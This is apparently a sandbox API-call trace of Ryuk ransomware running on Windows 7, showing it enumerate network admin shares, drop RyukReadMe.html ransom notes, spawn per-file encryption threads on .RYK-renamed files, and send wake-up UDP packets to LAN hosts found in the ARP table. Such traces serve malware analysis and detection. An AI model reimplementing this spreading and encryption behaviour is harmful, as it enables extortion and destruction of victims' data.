	[0194.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0194.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0194.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0194.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff757b4, lpParameter=0x7ff07e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0194.544] WaitForMultipleObjects (nCount=0xff, lpHandles=0x2337c0*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0194.546] WaitForMultipleObjects (nCount=0xff, lpHandles=0x2337c0*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0194.546] Sleep (dwMilliseconds=0x5dc) 
	[0196.775] VirtualFree (lpAddress=0x8000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.776] Sleep (dwMilliseconds=0x3e8) 
	[0198.087] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x4) returned 0x506ab0
	[0198.087] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x4) returned 0x506ae0
	[0198.087] GetTickCount () returned 0x1180f92
	[0198.088] GetLastError () returned 0x57
	[0198.088] SetLastError (dwErrCode=0x57) 
	[0198.088] GetLastError () returned 0x57
	[0198.088] SetLastError (dwErrCode=0x57) 
	[0198.089] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\A$\\*.*", lpFindFileData=0x2339a0 | out: lpFindFileData=0x2339a0*(dwFileAttributes=0x214, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x218, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x21c, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x220, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x228, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0213.091] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0213.091] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\B$\\*.*", lpFindFileData=0x2339a0 | out: lpFindFileData=0x2339a0*(dwFileAttributes=0x214, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x218, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x21c, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x220, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x228, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0222.208] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0222.209] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\*.*", lpFindFileData=0x2339a0 | out: lpFindFileData=0x2339a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x228, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4fd8e0
	[0232.412] SetLastError (dwErrCode=0x0) 
	[0232.412] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x55c
	[0236.445] GetLastError () returned 0xb7
	[0236.445] CloseHandle (hObject=0x55c) returned 1
	[0236.761] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\*.*", lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fd880
	[0244.293] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.640] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cdced0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x42, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0245.640] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0245.640] SetLastError (dwErrCode=0x0) 
	[0245.640] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x538
	[0249.992] GetLastError () returned 0xb7
	[0249.992] CloseHandle (hObject=0x538) returned 1
	[0250.787] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x232b40 | out: lpFindFileData=0x232b40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fd820
	[0252.445] FindNextFileW (in: hFindFile=0x4fd820, lpFindFileData=0x232b40 | out: lpFindFileData=0x232b40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.061] FindNextFileW (in: hFindFile=0x4fd820, lpFindFileData=0x232b40 | out: lpFindFileData=0x232b40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x5c, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.061] FindNextFileW (in: hFindFile=0x4fd820, lpFindFileData=0x232b40 | out: lpFindFileData=0x232b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0258.061] FindNextFileW (in: hFindFile=0x4fd820, lpFindFileData=0x232b40 | out: lpFindFileData=0x232b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0259.671] FindClose (in: hFindFile=0x4fd820 | out: hFindFile=0x4fd820) returned 1
	[0260.124] SetLastError (dwErrCode=0x0) 
	[0260.124] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504
	[0262.132] GetLastError () returned 0xb7
	[0262.132] CloseHandle (hObject=0x504) returned 1
	[0262.336] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0266.057] FindClose (in: hFindFile=0x4fd880 | out: hFindFile=0x4fd880) returned 1
	[0266.577] SetLastError (dwErrCode=0x0) 
	[0266.577] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8
	[0269.421] GetLastError () returned 0xb7
	[0269.421] CloseHandle (hObject=0x4e8) returned 1
	[0270.028] FindNextFileW (in: hFindFile=0x4fd8e0, lpFindFileData=0x2339a0 | out: lpFindFileData=0x2339a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x45e6b110, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x45e6b110, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x228, cFileName="Boot", cAlternateFileName="")) returned 1
	[0270.544] SetLastError (dwErrCode=0x0) 
	[0270.544] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0
	[0277.299] GetLastError () returned 0xb7
	[0277.299] CloseHandle (hObject=0x4d0) returned 1
	[0277.490] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\Boot\\*.*", lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x45e6b110, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x45e6b110, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fd880
	[0281.388] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x45e6b110, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x45e6b110, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.092] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0283.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8000000
	[0283.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff71ef0, lpParameter=0x13ff95170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0283.095] VirtualFree (lpAddress=0x8000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.097] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0283.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8000000
	[0283.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff71ef0, lpParameter=0x13ff98850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0283.099] VirtualFree (lpAddress=0x8000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.100] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG1.RYK", cAlternateFileName="BCDLOG~1.RYK")) returned 1
	[0283.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8000000
	[0283.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff71ef0, lpParameter=0x13ff9bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0283.103] VirtualFree (lpAddress=0x8000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.104] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="BCD.LOG2.RYK", cAlternateFileName="BCDLOG~2.RYK")) returned 1
	[0283.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8000000
	[0283.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ff71ef0, lpParameter=0x13ff9f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0283.106] VirtualFree (lpAddress=0x8000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.107] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x42, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0283.107] FindNextFileW (in: hFindFile=0x4fd880, lpFindFileData=0x233270 | out: lpFindFileData=0x233270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x452d05d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x452d05d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0283.107] SetLastError (dwErrCode=0x0) 
	[0283.107] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8
	[0284.676] GetLastError () returned 0xb7
	[0284.676] CloseHandle (hObject=0x4d8) returned 1
	[0284.797] FindFirstFileW (lpFileName="\\\\192.168.0.21\\C$\\Boot\\cs-CZ\\*.*", lpFindFileData=0x232b40) 

Thread:
	id = 727
	os_tid = 0x1248


Thread:
	id = 751
	os_tid = 0x12b8

	[0174.579] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0x21cf988, Order=1 | out: IpNetTable=0x0, SizePointer=0x21cf988) returned 0x7a
	[0174.582] VirtualAlloc (lpAddress=0x0, dwSize=0x18c, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000
	[0174.582] GetIpNetTable (in: IpNetTable=0xd0000, SizePointer=0x21cf988, Order=1 | out: IpNetTable=0xd0000, SizePointer=0x21cf988) returned 0x0
	[0174.585] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x1000, flProtect=0x4) returned 0x480000
	[0174.586] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21cf750 | out: lpWSAData=0x21cf750) returned 0
	[0174.603] socket (af=2, type=2, protocol=17) returned 0x108
	[0174.614] setsockopt (s=0x108, level=65535, optname=32, optval="\x01ù\x1c\x02", optlen=1) returned 0
	[0174.615] htonl (hostlong=0x0) returned 0x0
	[0174.615] htons (hostshort=0x0) returned 0x0
	[0174.615] bind (s=0x108, addr=0x21cf6c0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0174.617] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0174.618] htons (hostshort=0x7) returned 0x700
	[0174.618] sendto (s=0x108, buf=0x21cf6e0*, len=102, flags=0, to=0x21cf6d0*(sa_family=2, sin_port=0x7, sin_addr="192.168.0.1"), tolen=16) returned 102
	[0174.621] Sleep (dwMilliseconds=0xfa) 
	[0175.038] closesocket (s=0x108) returned 0
	[0175.039] WSACleanup () returned 0
	[0175.421] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21cf750 | out: lpWSAData=0x21cf750) returned 0
	[0175.435] socket (af=2, type=2, protocol=17) returned 0xfc
	[0175.442] setsockopt (s=0xfc, level=65535, optname=32, optval="\x01ù\x1c\x02", optlen=1) returned 0
	[0175.442] htonl (hostlong=0x0) returned 0x0
	[0175.442] htons (hostshort=0x0) returned 0x0
	[0175.442] bind (s=0xfc, addr=0x21cf6c0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0175.443] inet_addr (cp="224.0.0.22") returned 0x160000e0
	[0175.443] htons (hostshort=0x7) returned 0x700
	[0175.443] sendto (s=0xfc, buf=0x21cf6e0*, len=102, flags=0, to=0x21cf6d0*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.22"), tolen=16) returned 102
	[0175.444] Sleep (dwMilliseconds=0xfa) 
	[0175.863] closesocket (s=0xfc) returned 0
	[0175.863] WSACleanup () returned 0
	[0176.593] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x21cf750 | out: lpWSAData=0x21cf750) returned 0
	[0176.606] socket (af=2, type=2, protocol=17) returned 0xf8
	[0176.610] setsockopt (s=0xf8, level=65535, optname=32, optval="\x01ù\x1c\x02", optlen=1) returned 0
	[0176.610] htonl (hostlong=0x0) returned 0x0
	[0176.610] htons (hostshort=0x0) returned 0x0
	[0176.611] bind (s=0xf8, addr=0x21cf6c0*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
	[0176.611] inet_addr (cp="224.0.0.252") returned 0xfc0000e0
	[0176.611] htons (hostshort=0x7) returned 0x700
	[0176.611] sendto (s=0xf8, buf=0x21cf6e0*, len=102, flags=0, to=0x21cf6d0*(sa_family=2, sin_port=0x7, sin_addr="224.0.0.252"), tolen=16) returned 102
	[0176.612] Sleep (dwMilliseconds=0xfa) 
	[0176.967] closesocket (s=0xf8) returned 0
	[0176.968] WSACleanup () returned 0
	[0177.356] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0177.357] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1

Thread:
	id = 923
	os_tid = 0x1410

	[0182.552] GetVersionExW (in: lpVersionInformation=0x232f960*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x232f960*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0182.559] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0182.661] SetLastError (dwErrCode=0x0) 
	[0182.661] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.661] GetLastError () returned 0x20
	[0182.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.662] Sleep (dwMilliseconds=0x1388) 
	[0187.822] Sleep (dwMilliseconds=0x61a8) 
	[0198.591] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0198.592] SetLastError (dwErrCode=0x0) 
	[0198.592] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.592] GetLastError () returned 0x20
	[0198.592] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.593] Sleep (dwMilliseconds=0x61a8) 
	[0209.031] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0209.031] SetLastError (dwErrCode=0x0) 
	[0209.031] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.031] GetLastError () returned 0x20
	[0209.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.031] Sleep (dwMilliseconds=0x61a8) 
	[0219.655] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0219.663] SetLastError (dwErrCode=0x0) 
	[0219.663] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.664] GetLastError () returned 0x20
	[0219.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.664] Sleep (dwMilliseconds=0x61a8) 
	[0232.861] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0232.870] SetLastError (dwErrCode=0x0) 
	[0232.870] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.871] GetLastError () returned 0x20
	[0232.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.871] Sleep (dwMilliseconds=0x61a8) 
	[0243.811] GetWindowsDirectoryW (in: lpBuffer=0x232fa10, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0243.822] SetLastError (dwErrCode=0x0) 
